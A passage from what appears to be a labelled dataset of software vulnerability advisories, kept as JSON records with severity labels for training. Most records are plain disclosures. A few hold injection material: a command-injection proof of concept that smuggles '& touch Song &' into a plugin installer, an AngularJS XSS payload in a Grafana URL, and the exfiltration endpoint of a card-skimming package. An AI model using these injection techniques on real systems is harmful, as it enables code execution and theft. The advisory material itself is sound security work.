[hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Low given that it is not directly exploitable within the core but requires other security vulnerabilities within the application to have an effect and the severity of its effect depends entirely on the severity of those other holes in the application's defences.\n\n### Acknowledgements\n\nThanks to [Takashi Terada of Mitsui Bussan Secure Directions, Inc.](https://www.linkedin.com/in/takeshi-terada-b570a6100/) for finding the original issue in Laravel and @taylorotwell for sharing the report with the October CMS team.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "ce3ffa90ab6020c54d18", "text": "Malicious Package in buffer-xkr\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xkr\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a0003c4fbed0637c76a7", "text": "Content Injection via TileJSON attribute in mapbox.js\n\nVersions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 of `mapbox.js` are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf `L.mapbox.map` or `L.mapbox.tileLayer` are used to load untrusted TileJSON content from a non-Mapbox URL, it is possible for a malicious user with control over the TileJSON content to inject script content into the \"attribution\" value of the TileJSON which will be executed in the context of the page using Mapbox.js.\n\n## Recommendation\n\nVersion 2.x: Update to version 2.1.7 or later.\nVersion 1.x: Update to version 1.6.5 or later.", "text_raw": "Content Injection via TileJSON attribute in mapbox.js\n\n[Severity: MEDIUM]\n\nVersions 1.x prior to 1.6.5 and 2.x prior to 2.1.7 of `mapbox.js` are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf `L.mapbox.map` or `L.mapbox.tileLayer` are used to load untrusted TileJSON content from a non-Mapbox URL, it is possible for a malicious user with control over the TileJSON content to inject script content into the \"attribution\" value of the TileJSON which will be executed in the context of the page using Mapbox.js.\n\n\n\n## Recommendation\n\nVersion 2.x: Update to version 2.1.7 or later.\nVersion 1.x: Update to version 1.6.5 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "f8f8204e27bb0c5fab6e", "text": "apiconnect-cli-plugins vulnerable to OS Command Injection\n\napiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the `pluginUri` argument.\n\n### PoC\n```js\nvar root = require(\"apiconnect-cli-plugins\");\nvar payload = \"& touch Song &\";\nroot.pluginLoader.installPlugin(payload, \"\");\n```\n\nThe injection point is located in line 181 of file `lib/plugin-loader.js`, in the function `installPlugin(pluginUri, registryUri)`.", "text_raw": "apiconnect-cli-plugins vulnerable to OS Command Injection\n\n[Severity: CRITICAL]\n\napiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the `pluginUri` argument.\n\n### PoC\n```js\nvar root = require(\"apiconnect-cli-plugins\");\nvar payload = \"& touch Song &\";\nroot.pluginLoader.installPlugin(payload, \"\");\n```\n\nThe injection point is located in line 181 of file `lib/plugin-loader.js`, in the function `installPlugin(pluginUri, registryUri)`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "1a3cdd26df2c834f1996", "text": "OIDC claims not updated from Identity Provider in Pomerium\n\n### Impact\nChanges to the OIDC claims of a user after initial login are not reflected in policy evaluation when using [`allowed_idp_claims`](https://www.pomerium.com/reference/#allowed-idp-claims) as part of policy.  If using `allowed_idp_claims` and a user's claims are changed, Pomerium can make incorrect authorization decisions.\n\n### Patches\nv0.15.6\n\n### Workarounds\n- Clear data on `databroker` service by clearing redis or restarting the in-memory databroker to force claims to be updated\n\n### References\nhttps://github.com/pomerium/pomerium/pull/2724\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Pomerium](https://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)", "text_raw": "OIDC claims not updated from Identity Provider in Pomerium\n\n[Severity: MEDIUM]\n\n### Impact\nChanges to the OIDC claims of a user after initial login are not reflected in policy evaluation when using [`allowed_idp_claims`](https://www.pomerium.com/reference/#allowed-idp-claims) as part of policy.  If using `allowed_idp_claims` and a user's claims are changed, Pomerium can make incorrect authorization decisions.\n\n### Patches\nv0.15.6\n\n### Workarounds\n- Clear data on `databroker` service by clearing redis or restarting the in-memory databroker to force claims to be updated\n\n### References\nhttps://github.com/pomerium/pomerium/pull/2724\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Pomerium](https://github.com/pomerium/pomerium)\n* Email us at [security@pomerium.com](mailto:security@pomerium.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "25641ea9bbcb9da79b97", "text": "Apple iOS and macOS Group Facetime Vulnerability\n\nAffected: Apple iOS and macOS\n\nApple iOS and macOS Group FaceTime contains an unspecified vulnerability where the call initiator can cause the recipient's Apple device to answer unknowingly or without user interaction.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS and macOS Group Facetime Vulnerability\n\nAffected: Apple iOS and macOS\n\nApple iOS and macOS Group FaceTime contains an unspecified vulnerability where the call initiator can cause the recipient's Apple device to answer unknowingly or without user interaction.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "034777eac6ea1f56c4a0", "text": "Hardcoded Initialization Vector in parsel\n\nAll versions of `parsel` have a default hardcoded initialization vector. In cases where the IV is not provided, the package defaults to a hardcoded IV which renders the cipher vulnerable to chosen plaintext attacks.\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "text_raw": "Hardcoded Initialization Vector in parsel\n\n[Severity: HIGH]\n\nAll versions of `parsel` have a default hardcoded initialization vector. In cases where the IV is not provided, the package defaults to a hardcoded IV which renders the cipher vulnerable to chosen plaintext attacks.\n\n\n## Recommendation\n\nThe package is deprecated and will not be updated. Consider using an alternative package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "17141f969936bc184ad9", "text": "Angular Expressions - Remote Code Execution\n\n### Impact\n\nThe vulnerability, reported by GoSecure Inc, allows Remote Code Execution, if you call `expressions.compile(userControlledInput)` where `userControlledInput` is text that comes from user input.\n\nThis time, the security of the package could be bypassed by using a more complex payload, using a `.constructor.constructor` technique.\n\n* If running angular-expressions in the browser, an attacker could run any browser script when the application code calls expressions.compile(userControlledInput).\n* If running angular-expressions on the server, an attacker could run any Javascript expression, thus gaining Remote Code Execution.\n\n### Patches\n\nUsers should upgrade to version 1.1.2 of angular-expressions\n\n### Workarounds\n\nA temporary workaround might be either to :\n\n* disable user-controlled input that will be fed into angular-expressions in your application\n\nOR\n\n* allow only following characters in the userControlledInput :\n\n```js\nif (/^[|a-zA-Z.0-9 :\"'+-?]+$/.test(userControlledInput)) {\n      var result = expressions.compile(userControlledInput);\n}\nelse {\n     result = undefined;\n}\n```\n\n### References\n\n[Removal of angular-expression sandbox](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [angular-expressions](https://github.com/peerigon/angular-expressions/issues)\n* [Email us](mailto:contact@javascript-ninja.fr)\n\n### Credits\n\nThe issue was reported by Maxime Nadeau from GoSecure, Inc.", "text_raw": "Angular Expressions - Remote Code Execution\n\n[Severity: HIGH]\n\n### Impact\n\nThe vulnerability, reported by GoSecure Inc, allows Remote Code Execution, if you call `expressions.compile(userControlledInput)` where `userControlledInput` is text that comes from user input.\n\nThis time, the security of the package could be bypassed by using a more complex payload, using a `.constructor.constructor` technique.\n\n* If running angular-expressions in the browser, an attacker could run any browser script when the application code calls expressions.compile(userControlledInput).\n* If running angular-expressions on the server, an attacker could run any Javascript expression, thus gaining Remote Code Execution.\n\n### Patches\n\nUsers should upgrade to version 1.1.2 of angular-expressions\n\n### Workarounds\n\nA temporary workaround might be either to : \n\n* disable user-controlled input that will be fed into angular-expressions in your application\n\nOR\n\n* allow only following characters in the userControlledInput : \n\n```js\nif (/^[|a-zA-Z.0-9 :\"'+-?]+$/.test(userControlledInput)) {\n      var result = expressions.compile(userControlledInput);\n}\nelse {\n     result = undefined;\n}\n```\n\n### References\n\n[Removal of angular-expression sandbox](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [angular-expressions](https://github.com/peerigon/angular-expressions/issues)\n* [Email us](mailto:contact@javascript-ninja.fr)\n\n### Credits \n\nThe issue was reported by Maxime Nadeau from GoSecure, Inc.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-01", "split": "train"}
-{"id": "5fb0ec6e84238ec02d97", "text": "Improper Handling of Length Parameter Inconsistency in Compress\n\nWhen reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.", "text_raw": "Improper Handling of Length Parameter Inconsistency in Compress\n\n[Severity: HIGH]\n\nWhen reading a specially crafted 7Z archive, Compress can be made to allocate large amounts of memory that finally leads to an out of memory error even for very small inputs. This could be used to mount a denial of service attack against services that use Compress' sevenz package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "9710524f8e520fd3e5b1", "text": "SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness", "text_raw": "SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "45111b20078cdf17114a", "text": "Path Traversal in http-live-simulator\n\nVersions of `http-live-simulator` prior to 1.0.6 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths.\n\n## Recommendation\n\nUpgrade to version 1.0.6", "text_raw": "Path Traversal in http-live-simulator\n\n[Severity: HIGH]\n\nVersions of `http-live-simulator` prior to 1.0.6 are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. \n\n\n## Recommendation\n\nUpgrade to version 1.0.6", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-08", "split": "train"}
-{"id": "f234dd32ff0c55eb7024", "text": "Mercurial has Incorrect Permission Assignment for Critical Resource\n\nIn Mercurial before 4.1.3, \"hg serve --stdio\" allows remote authenticated users to launch the Python debugger, and consequently execute arbitrary code, by using --debugger as a repository name.", "text_raw": "Mercurial has Incorrect Permission Assignment for Critical Resource\n\n[Severity: HIGH]\n\nIn Mercurial before 4.1.3, \"hg serve --stdio\" allows remote authenticated users to launch the Python debugger, and consequently execute arbitrary code, by using --debugger as a repository name.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
-{"id": "2e47bf1096748f88e661", "text": "Mail Improper Input Validation vulnerability\n\nThe deliver function in the sendmail delivery agent (`lib/mail/network/delivery_methods/sendmail.rb`) in Ruby Mail gem 2.2.14 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in an e-mail address.", "text_raw": "Mail Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nThe deliver function in the sendmail delivery agent (`lib/mail/network/delivery_methods/sendmail.rb`) in Ruby Mail gem 2.2.14 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in an e-mail address.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "df37e3a36d8df373bfa6", "text": "Malicious Package in zemen\n\nVersion 0.0.5 of `zemen` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in zemen\n\n[Severity: CRITICAL]\n\nVersion 0.0.5 of `zemen` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "64bcf86ba33fb10f3610", "text": "Use after free in libflate\n\nAn issue was discovered in the libflate crate before 0.1.25 for Rust. MultiDecoder::read has a use-after-free, leading to arbitrary code execution.", "text_raw": "Use after free in libflate\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the libflate crate before 0.1.25 for Rust. MultiDecoder::read has a use-after-free, leading to arbitrary code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "87280443df9f61e03719", "text": "Cross-site Scripting in yourls\n\nyourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in edit dialog.", "text_raw": "Cross-site Scripting in yourls\n\n[Severity: MEDIUM]\n\nyourls is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in edit dialog.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "adf7d3e702d567fabe68", "text": "Command Injection in dot\n\nAll versions of dot are vulnerable to Command Injection. The template compilation may execute arbitrary commands if an attacker can inject code in the template or if a Prototype Pollution-like vulnerability can be exploited to alter an Object's prototype.", "text_raw": "Command Injection in dot\n\n[Severity: MEDIUM]\n\nAll versions of dot are vulnerable to Command Injection. The template compilation may execute arbitrary commands if an attacker can inject code in the template or if a Prototype Pollution-like vulnerability can be exploited to alter an Object's prototype.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "ffa5db27be7d9c2325b7", "text": "Data race in may_queue\n\nAn issue was discovered in the may_queue crate through 2020-11-10 for Rust. Because Queue does not have bounds on its Send trait or Sync trait, memory corruption can occur.", "text_raw": "Data race in may_queue\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the may_queue crate through 2020-11-10 for Rust. Because Queue does not have bounds on its Send trait or Sync trait, memory corruption can occur.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "2a717e86d350395ecd7f", "text": "Open Redirect in Spring Security OAuth\n\nSpring Security OAuth versions 2.3 prior to 2.3.6, 2.2 prior to 2.2.5, 2.1 prior to 2.1.5, and 2.0 prior to 2.0.18, as well as older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code. A malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the redirect_uri parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code.", "text_raw": "Open Redirect in Spring Security OAuth\n\n[Severity: MEDIUM]\n\nSpring Security OAuth versions 2.3 prior to 2.3.6, 2.2 prior to 2.2.5, 2.1 prior to 2.1.5, and 2.0 prior to 2.0.18, as well as older unsupported versions could be susceptible to an open redirector attack that can leak an authorization code. A malicious user or attacker can craft a request to the authorization endpoint using the authorization code grant type, and specify a manipulated redirection URI via the redirect_uri parameter. This can cause the authorization server to redirect the resource owner user-agent to a URI under the control of the attacker with the leaked authorization code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "c5ef6262448d2e5e0425", "text": "Local File Inclusion in domokeeper\n\nAll versions of `domokeeper` are vulnerable to Local File Inclusion. The `/plugin/` route passes a GET parameter unsanitized to a `require()` call. It then returns the output of `require()` in the server response. This may allow attackers to load unintended code in the application. It also allows attackers to exfiltrate information in `.json` files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Local File Inclusion in domokeeper\n\n[Severity: MEDIUM]\n\nAll versions of `domokeeper` are vulnerable to Local File Inclusion. The `/plugin/` route passes a GET parameter unsanitized to a `require()` call. It then returns the output of `require()` in the server response. This may allow attackers to load unintended code in the application. It also allows attackers to exfiltrate information in `.json` files.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7deaf0d5609adc6b0931", "text": "Sensitive data exposure in NATS\n\nPreview versions of two NPM packages and one Deno package from the NATS project contain an information disclosure flaw, leaking options to the NATS server; for one package, this includes TLS private credentials.\n\nThe `_connection_` configuration options in these JavaScript-based implementations were fully serialized and sent to the server in the client's CONNECT message, immediately after TLS establishment.\n\nThe nats.js client supports Mutual TLS and the credentials for the TLS client key are included in the connection configuration options; disclosure of the client's TLS private key to the server has been observed.\n\nMost authentication mechanisms are handled after connection, instead of as part of connection, so other authentication mechanisms are unaffected. For clarity: NATS account NKey authentication is NOT affected.\n\nNeither the nats.ws nor the nats.deno clients support Mutual TLS: the affected versions listed below are those where the logic flaw is present. We are including the nats.ws and nats.deno versions out of an abundance of caution, as library maintainers, but rate as minimal the likelihood of applications leaking sensitive data.\n\n### Security impact:\n\n* NPM package nats.js:\n+ mainline is unaffected\n+ beta branch is vulnerable from 2.0.0-201, fixed in 2.0.0-209\n\n### Logic flaw:\n\n* NPM package nats.ws:\n+ status: preview\n+ flawed from 1.0.0-85, fixed in 1.0.0-111\n* Deno repository https://github.com/nats-io/nats.deno\n+ status: preview\n+ flawed in all git tags prior to fix\n+ fixed with git tag v1.0.0-9\n\n### Impact:\n\nFor deployments using TLS client certificates (for mutual TLS), private key material for TLS is leaked from the client application to the server. If the server is untrusted (run by a third party), or if the client application also disables TLS verification (and so the true identity of the server is unverifiable) then authentication credentials are leaked.", "text_raw": "Sensitive data exposure in NATS\n\n[Severity: HIGH]\n\nPreview versions of two NPM packages and one Deno package from the NATS project contain an information disclosure flaw, leaking options to the NATS server; for one package, this includes TLS private credentials.\n\nThe `_connection_` configuration options in these JavaScript-based implementations were fully serialized and sent to the server in the client's CONNECT message, immediately after TLS establishment.\n\nThe nats.js client supports Mutual TLS and the credentials for the TLS client key are included in the connection configuration options; disclosure of the client's TLS private key to the server has been observed.\n\nMost authentication mechanisms are handled after connection, instead of as part of connection, so other authentication mechanisms are unaffected. For clarity: NATS account NKey authentication is NOT affected.\n\nNeither the nats.ws nor the nats.deno clients support Mutual TLS: the affected versions listed below are those where the logic flaw is present. We are including the nats.ws and nats.deno versions out of an abundance of caution, as library maintainers, but rate as minimal the likelihood of applications leaking sensitive data.\n\n### Security impact:\n\n* NPM package nats.js:\n+ mainline is unaffected\n+ beta branch is vulnerable from 2.0.0-201, fixed in 2.0.0-209\n\n### Logic flaw:\n\n* NPM package nats.ws:\n+ status: preview\n+ flawed from 1.0.0-85, fixed in 1.0.0-111\n* Deno repository https://github.com/nats-io/nats.deno\n+ status: preview\n+ flawed in all git tags prior to fix\n+ fixed with git tag v1.0.0-9\n\n### Impact:\n\nFor deployments using TLS client certificates (for mutual TLS), private key material for TLS is leaked from the client application to the server. If the server is untrusted (run by a third party), or if the client application also disables TLS verification (and so the true identity of the server is unverifiable) then authentication credentials are leaked.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-08", "split": "train"}
-{"id": "d5783d66833086f8c5c8", "text": "Music Tag Editor 1.61 build 212 Remote Buffer Overflow PoC", "text_raw": "Music Tag Editor 1.61 build 212 Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2009-07-16", "split": "train"}
-{"id": "13375908e0062ac3aa1e", "text": "Improper Input Validation in tar-fs\n\nA vulnerability was found in tar-fs before 1.16.2. An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content.", "text_raw": "Improper Input Validation in tar-fs\n\n[Severity: HIGH]\n\nA vulnerability was found in tar-fs before 1.16.2. An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-01", "split": "train"}
-{"id": "23890d10079ec394733e", "text": "URL Redirection to Untrusted Site (Open Redirect) in Ktor\n\nIn Ktor through 1.2.6, the client resends data from the HTTP Authorization header to a redirect location.", "text_raw": "URL Redirection to Untrusted Site (Open Redirect) in Ktor\n\n[Severity: MEDIUM]\n\nIn Ktor through 1.2.6, the client resends data from the HTTP Authorization header to a redirect location.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-12", "split": "train"}
-{"id": "085c5c9f3c4855607b3f", "text": "Malicious Package in eact\n\nAll versions of `eact` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in eact\n\n[Severity: CRITICAL]\n\nAll versions of `eact` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "dd7e868239fe6cdee881", "text": "Django Denial-of-service possibility in truncatechars_html and truncatewords_html template filters\n\nAn issue was discovered in Django 2.0 before 2.0.3, 1.11 before 1.11.11, and 1.8 before 1.8.19. If django.utils.text.Truncator's chars() and words() methods were passed the html=True argument, they were extremely slow to evaluate certain inputs due to a catastrophic backtracking vulnerability in a regular expression. The chars() and words() methods are used to implement the truncatechars_html and truncatewords_html template filters, which were thus vulnerable.", "text_raw": "Django Denial-of-service possibility in truncatechars_html and truncatewords_html template filters\n\n[Severity: LOW]\n\nAn issue was discovered in Django 2.0 before 2.0.3, 1.11 before 1.11.11, and 1.8 before 1.8.19. If django.utils.text.Truncator's chars() and words() methods were passed the html=True argument, they were extremely slow to evaluate certain inputs due to a catastrophic backtracking vulnerability in a regular expression. The chars() and words() methods are used to implement the truncatechars_html and truncatewords_html template filters, which were thus vulnerable.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "5fd1d6a0e4f7be748bd8", "text": "Malicious Package in hs-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in hs-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b19f2f4cbc8d73cdf2a6", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in akka-http-core\n\nAkka HTTP versions <= 10.0.5 Illegal Media Range in Accept Header Causes StackOverflowError Leading to Denial of Service", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in akka-http-core\n\n[Severity: HIGH]\n\nAkka HTTP versions <= 10.0.5 Illegal Media Range in Accept Header Causes StackOverflowError Leading to Denial of Service", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-22", "split": "train"}
-{"id": "e25ff2e4e7227b40612b", "text": "trentm/json vulnerable to command injection\n\nThis affects the package json before 10.0.0. It is possible to inject arbritary commands using the parseLookup function.", "text_raw": "trentm/json vulnerable to command injection\n\n[Severity: HIGH]\n\nThis affects the package json before 10.0.0. It is possible to inject arbritary commands using the parseLookup function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "bd675bdf8e3e33ca1cc4", "text": "Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability", "text_raw": "Gemalto Sentinel License Manager 18.0.1 Directory Traversal Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-06-16", "split": "train"}
-{"id": "854d7aa324ac0727e528", "text": "Regular expression Denial of Service (ReDoS) in EmailValidator class in V7 compatibility module in Vaadin 8\n\nUnsafe validation RegEx in `EmailValidator` component in `com.vaadin:vaadin-compatibility-server` versions 8.0.0 through 8.12.4 (Vaadin versions 8.0.0 through 8.12.4) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.", "text_raw": "Regular expression Denial of Service (ReDoS) in EmailValidator class in V7 compatibility module in Vaadin 8\n\n[Severity: HIGH]\n\nUnsafe validation RegEx in `EmailValidator` component in `com.vaadin:vaadin-compatibility-server` versions 8.0.0 through 8.12.4 (Vaadin versions 8.0.0 through 8.12.4) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-13", "split": "train"}
-{"id": "21dfb3ea30e5cb7cb497", "text": "Curl Gem insufficient URL escaping command injection\n\n`lib/curl.rb` in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "text_raw": "Curl Gem insufficient URL escaping command injection\n\n[Severity: HIGH]\n\n`lib/curl.rb` in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "0e9a84d873292682388b", "text": "Remote code execution in Handlebars.js\n\nHandlebars.js before 4.1.0 has Remote Code Execution (RCE)", "text_raw": "Remote code execution in Handlebars.js\n\n[Severity: MEDIUM]\n\nHandlebars.js before 4.1.0 has Remote Code Execution (RCE)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-15", "split": "train"}
-{"id": "850295c97fd31718e71c", "text": "File restriction bypass in socket.io-file\n\nAll versions of `socket.io-file`are vulnerable to a file restriction bypass. The validation for valid file types only happens on the client-side, which allows an attacker to intercept the Websocket request post-validation and alter the `name` value to upload any file types.\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "File restriction bypass in socket.io-file\n\n[Severity: HIGH]\n\nAll versions of `socket.io-file`are vulnerable to a file restriction bypass. The validation for valid file types only happens on the client-side, which allows an attacker to intercept the Websocket request post-validation and alter the `name` value to upload any file types.\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-02", "split": "train"}
-{"id": "20b5ebf628ca3151098d", "text": "OS Command Injection in fsa\n\nfsa through 0.5.1 is vulnerable to Command Injection. The first argument of 'execGitCommand()', located within 'lib/rep.js#63' can be controlled by users without any sanitization to inject arbitrary commands.", "text_raw": "OS Command Injection in fsa\n\n[Severity: MEDIUM]\n\nfsa through 0.5.1 is vulnerable to Command Injection. The first argument of 'execGitCommand()', located within 'lib/rep.js#63' can be controlled by users without any sanitization to inject arbitrary commands.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "1367652bb098a790612e", "text": "XSS vulnerability allowing arbitrary JavaScript execution\n\nToday we are releasing Grafana 8.2.3. This patch release includes an important security fix for an issue that affects all Grafana versions from 8.0.0-beta1.\n\n[Grafana Cloud](https://grafana.com/cloud) instances have already been patched and an audit did not find any usage of this attack vector. [Grafana Enterprise](https://grafana.com/products/enterprise) customers were provided with updated binaries under embargo.\n\n## CVE-2021-41174 XSS vulnerability on unauthenticated pages\n\n### Summary\n\nWe received a security report to security@grafana.com on 2021-10-21 about a vulnerability in Grafana regarding the XSS vulnerability.\n\nIt was later identified as affecting Grafana versions from 8.0.0-beta1 to 8.2.2. [CVE-2021-41174](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41174) has been assigned to this vulnerability.\n\n### Impact\n\nIf an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser.\n\nThe user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar.\n\nThere are two ways an unauthenticated user can open a page in Grafana that contains the login button:\n- Anonymous authentication is enabled. This means all pages in Grafana would be open for the attack.\n- The link is to an unauthenticated page. The following pages are vulnerable:\n  - `/dashboard-solo/snapshot/*`\n  - `/dashboard/snapshot/*`\n  - `/invite/:code`\n\nThe url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions. AngularJS uses double curly braces for interpolation binding: {{ }}\n\nAn example of an expression would be: `{{constructor.constructor(‘alert(1)’)()}}`. This can be included in the link URL like this:\n\nhttps://play.grafana.org/dashboard/snapshot/%7B%7Bconstructor.constructor('alert(1)')()%7D%7D?orgId=1\n\nWhen the user follows the link and the page renders, the login button will contain the original link with a query parameter to force a redirect to the login page. The URL is not validated and the AngularJS rendering engine will execute the JavaScript expression contained in the URL.\n\n### Attack audit\n\nWe can not guarantee 